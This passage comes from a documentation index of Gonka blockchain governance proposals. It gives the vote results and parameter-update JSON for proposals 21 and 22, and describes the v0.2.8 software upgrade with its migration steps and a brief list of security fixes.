\"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": {\n \"network_maturity_threshold\": \"15000000\",\n \"network_maturity_min_height\": \"3000000\",\n \"guardian_addresses\": [\n \"gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5\",\n \"gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v\",\n \"gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e\"\n ]\n },\n \"developer_access_params\": {\n \"until_block_height\": \"2294222\",\n \"allowed_developer_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\"\n ]\n },\n \"participant_access_params\": {\n \"new_participant_registration_start_height\": \"2222222\",\n \"blocked_participant_addresses\": [\n \"gonka1blockedxxxxxxxxxxxxxxxxxxxxxx\"\n ],\n \"use_participant_allowlist\": true,\n \"participant_allowlist_until_block_height\": \"0\"\n },\n \"transfer_agent_access_params\": null,\n \"devshard_escrow_params\": null,\n \"fee_params\": null,\n \"delegation_params\": null,\n \"maintenance_params\": null\n }\n }\n]\nPassed
Proposal ID: 21
Type: Add Participants To Allow List, Update Params
Submit: 2026-01-11 06:04 UTC
Voting: 2026-01-11 06:04 UTC → 2026-01-12 06:04 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
View on gonka.gg
https://github.com/product-science/filter/tree/0354c37eb6c827f00c1e889a2b7de9952a9b84ba
"}, {"location": "proposals/proposals/2026-q1/21/#final-tally", "title": "Final Tally", "text": "Yes 3,020,391 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 3,020,391 votes"}, {"location": "proposals/proposals/2026-q1/21/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgAddParticipantsToAllowList 2 /inference.inference.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgAddParticipantsToAllowList\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"addresses\": [\n \"gonka10ham8mkawe850sk3aq9vfjvsw2nzvl63ulcuyl\",\n \"gonka14uu6edm0ma60089yslrw0a2fgcl7d6p4ekyapf\",\n \"gonka15ffxwcy7dk5k4unleeernxppgwgg2686eq4lfs\",\n \"gonka18dy9cn8e65kh6jy2j6v5du26tq9tkpf8e2n5uk\",\n \"gonka19hwucu9qdsvlhnj5hyhcavtr9esgfvkvc6phfy\",\n \"gonka1adacqpq6z6sg9qqsy4f0p02p0sfn2f6n6dldae\",\n \"gonka1arn3ksw9zv7mz4mneydvxqhsv4cg3uvxqljal8\",\n \"gonka1c25w5hhue4t6yt5ya24vk47zpanaulx4znys7z\",\n \"gonka1hqdqhlqpqpee3zdrupe5ech54hn6tf5er4esg3\",\n \"gonka1l9yanamzzhq4rfjnq05rm05cssqrqcaely9xwx\",\n \"gonka1lmgutdlel0fny79zvlsh9aw3c0dw75gtscka3g\",\n \"gonka1lwhyr98mv8yynf5g05495m6x68fcak8d3p78f5\",\n \"gonka1mmwngrtpc4fd4jquv5vfsnscqdzmcz0zgrvy0g\",\n \"gonka1myqk82deh6wexqazulwaqm6x340vh8kch44qwl\",\n \"gonka1ntlpylyhgwlg87pkh7dlyg5tnkad5986hnsgmf\",\n \"gonka1pnfyj6kw3h3v2qu60j42j8h3cuf3jpqqgnaet7\",\n \"gonka1q0r6nmh849xatx62cd09axnx4et4egu4z7n7jj\",\n \"gonka1stxj7a8ka9r66t98vltld0u5cd9vs97nsqplq3\",\n \"gonka1t4scergcmv6w9tllx9eeyfvgmwae8uzqnqqlps\"\n ]\n },\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"60\",\n \"poc_exchange_duration\": \"5\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"120\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"20\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"0\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": {\n \"value\": \"25\",\n \"exponent\": -1\n },\n \"model_params\": {\n \"dim\": 1792,\n \"n_layers\": 64,\n \"n_heads\": 64,\n \"n_kv_heads\": 64,\n \"vocab_size\": 8196,\n \"ffn_dim_multiplier\": {\n \"value\": \"1\",\n \"exponent\": 1\n },\n \"multiple_of\": 8192,\n \"norm_eps\": {\n \"value\": \"1\",\n \"exponent\": -5\n },\n \"rope_theta\": 10000,\n \"use_scaled_rope\": false,\n \"seq_len\": 256,\n \"r_target\": {\n \"value\": \"1398077\",\n \"exponent\": -6\n }\n },\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": false,\n \"confirmation_poc_v2_enabled\": false,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": false,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": {\n \"network_maturity_threshold\": \"15000000\",\n \"network_maturity_min_height\": \"3000000\",\n \"guardian_addresses\": [\n \"gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5\",\n \"gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v\",\n \"gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e\"\n ]\n },\n \"developer_access_params\": {\n \"until_block_height\": \"2294222\",\n \"allowed_developer_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d\",\n \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1khca2ht3m0nvpfghrxwgvnmj74t0sx6qzc2edd\"\n ]\n },\n \"participant_access_params\": {\n \"new_participant_registration_start_height\": \"2222222\",\n \"blocked_participant_addresses\": [\n \"gonka1blockedxxxxxxxxxxxxxxxxxxxxxx\"\n ],\n \"use_participant_allowlist\": true,\n \"participant_allowlist_until_block_height\": \"2222222\"\n },\n \"transfer_agent_access_params\": null,\n \"devshard_escrow_params\": null,\n \"fee_params\": null,\n \"delegation_params\": null,\n \"maintenance_params\": null\n }\n }\n]\nPassed
Proposal ID: 22
Type: Update Params
Submit: 2026-01-17 05:28 UTC
Voting: 2026-01-17 05:28 UTC → 2026-01-18 05:28 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
View on gonka.gg
Update Expiration Dates for Developer Access and Participant Allowlist
"}, {"location": "proposals/proposals/2026-q1/22/#final-tally", "title": "Final Tally", "text": "Yes 3,476,742 (99.9%) No 2,836 (0.1%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 3,479,578 votes"}, {"location": "proposals/proposals/2026-q1/22/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"60\",\n \"poc_exchange_duration\": \"5\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"120\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"20\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"0\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": {\n \"value\": \"25\",\n \"exponent\": -1\n },\n \"model_params\": {\n \"dim\": 1792,\n \"n_layers\": 64,\n \"n_heads\": 64,\n \"n_kv_heads\": 64,\n \"vocab_size\": 8196,\n \"ffn_dim_multiplier\": {\n \"value\": \"1\",\n \"exponent\": 1\n },\n \"multiple_of\": 8192,\n \"norm_eps\": {\n \"value\": \"1\",\n \"exponent\": -5\n },\n \"rope_theta\": 10000,\n \"use_scaled_rope\": false,\n \"seq_len\": 256,\n \"r_target\": {\n \"value\": \"1398077\",\n \"exponent\": -6\n }\n },\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": false,\n \"confirmation_poc_v2_enabled\": false,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": false,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": {\n \"network_maturity_threshold\": \"15000000\",\n \"network_maturity_min_height\": \"3000000\",\n \"guardian_addresses\": [\n \"gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5\",\n \"gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v\",\n \"gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e\"\n ]\n },\n \"developer_access_params\": {\n \"until_block_height\": \"2459367\",\n \"allowed_developer_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d\",\n \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1khca2ht3m0nvpfghrxwgvnmj74t0sx6qzc2edd\"\n ]\n },\n \"participant_access_params\": {\n \"new_participant_registration_start_height\": \"2443558\",\n \"blocked_participant_addresses\": [\n \"gonka1blockedxxxxxxxxxxxxxxxxxxxxxx\"\n ],\n \"use_participant_allowlist\": true,\n \"participant_allowlist_until_block_height\": \"2443558\"\n },\n \"transfer_agent_access_params\": null,\n \"devshard_escrow_params\": null,\n \"fee_params\": null,\n \"delegation_params\": null,\n \"maintenance_params\": null\n }\n }\n]\nRejected
Proposal ID: 24
Type: Software Upgrade
Submit: 2026-01-28 00:32 UTC
Voting: 2026-01-28 00:32 UTC → 2026-01-29 00:32 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/d61cf37eb97e0aaf3e4b227a1d6f31ea8635797a/proposals/governance-artifacts/update-v0.2.8/README.md
Failed reason: proposal did not get enough votes to pass
View on gonka.gg
Upgrade Proposal: v0.2.8
"}, {"location": "proposals/proposals/2026-q1/24/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q1/24/#upgrade-proposal-v028", "title": "Upgrade Proposal: v0.2.8", "text": "This document outlines the proposed changes for on-chain software upgrade v0.2.8. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
v0.2.8 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
The on-chain upgrade from version v0.2.7-post1 to v0.2.8 has been successfully deployed and verified on the testnet, including the PoC V2 parameter migration.
Reviewers are encouraged to request access to the testnet environment to validate the upgrade or test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2026-q1/24/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migration tasks: - Burn extra community coins: Burns all coins from the pre_programmed_sale module account (gonka1rmac644w5hjsyxfggz6e4empxf02vegkt3ppec) which were inadvertently created during genesis. - Precompute BLS slot keys: Generates and stores precomputed BLS slot public keys for the current epoch to enable the new optimized verification logic (see PR #609). - Set PoC V2 migration parameters: Configures dual-mode migration with ConfirmationPocV2Enabled=true and PocV2Enabled=false, sets model ID to Qwen/Qwen3-235B-A22B-Instruct-2507-FP8, sequence length to 1024, and statistical test thresholds for V2 validation.
For a smooth transition from PoC V1 to PoC V2, the chain must ensure that the majority of participants have switched to the new MLNode build supporting the Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 model before PoC V2 becomes the main PoC engine. This upgrade enables tracking mode to measure adoption without affecting weights.
After this upgrade: - Regular PoC continues using V1 (on-chain batches, weight enforcement). - First Confirmation PoC per epoch uses V2 for tracking only (no weight/slashing impact). - V2 tracking results allow monitoring adoption before full activation.
MLNode upgrade: - New versions: ghcr.io/product-science/mlnode:3.0.12 (or 3.0.12-blackwell for Blackwell GPUs). - Backward compatible with 3.0.11 — can be upgraded before or after this on-chain upgrade. - Must be upgraded before PoC V2 is fully enabled.
Enabling full PoC V2: - PoC V2 will not activate automatically. - Once adoption is sufficient, a separate governance proposal will set poc_v2_enabled=true. - The epoch when V2 is enabled runs in grace mode (no punishment). - Full V2 enforcement begins the following epoch.
Addresses multiple security vulnerabilities: * SSRF & DoS: Validates InferenceUrl to reject internal IPs and adds timeouts to prevent request hangs. * Vote Flipping: Prevents overwriting of PoC validations by rejecting duplicates. * Batch Size Limits: Enforces bounds on PoC batch sizes to prevent state bloat. * PoC Exclusion: Fixes getInferenceServingNodeIds to correctly exclude inference-serving nodes. * Auth Bypass & Replay: Binds epochId to signatures and validates authorization against the correct epoch. * Thanks to: @ouicate
blst library and precomputing slot public keys.panic and Must calls from chain code to prevent consensus failures.forbidigo) and CI checks to enforce this rule.shopspring/decimal for deterministic calculations (e.g., Dynamic Pricing)./v1/participants endpoint by replacing N gRPC calls with a single blockchain query.totalDistributed was not updated after deducting debt, causing tokens to be lost instead of returned to governance.SendCoins failures) to be swallowed during refunds.ValueDecimal to correctly handle nil values.root_hash and count are recorded on-chain.SubmitPocValidationsV2, PoCV2StoreCommit, MLNodeWeightDistribution./cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.8\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"2386600\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.8/inferenced-amd64.zip?checksum=sha256:a3e59d5d7a9caa4b729eb7915863770b5465fa12af2a4d41fa7358085c86704f\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.8/decentralized-api-amd64.zip?checksum=sha256:e3dd428ac9cf3b410e0ae7fc9a2c9fa3efd3b7e97ff748a3fa7d7fb928cb696a\\\"\\n }\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis document outlines the proposed changes for on-chain software upgrade v0.2.8. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
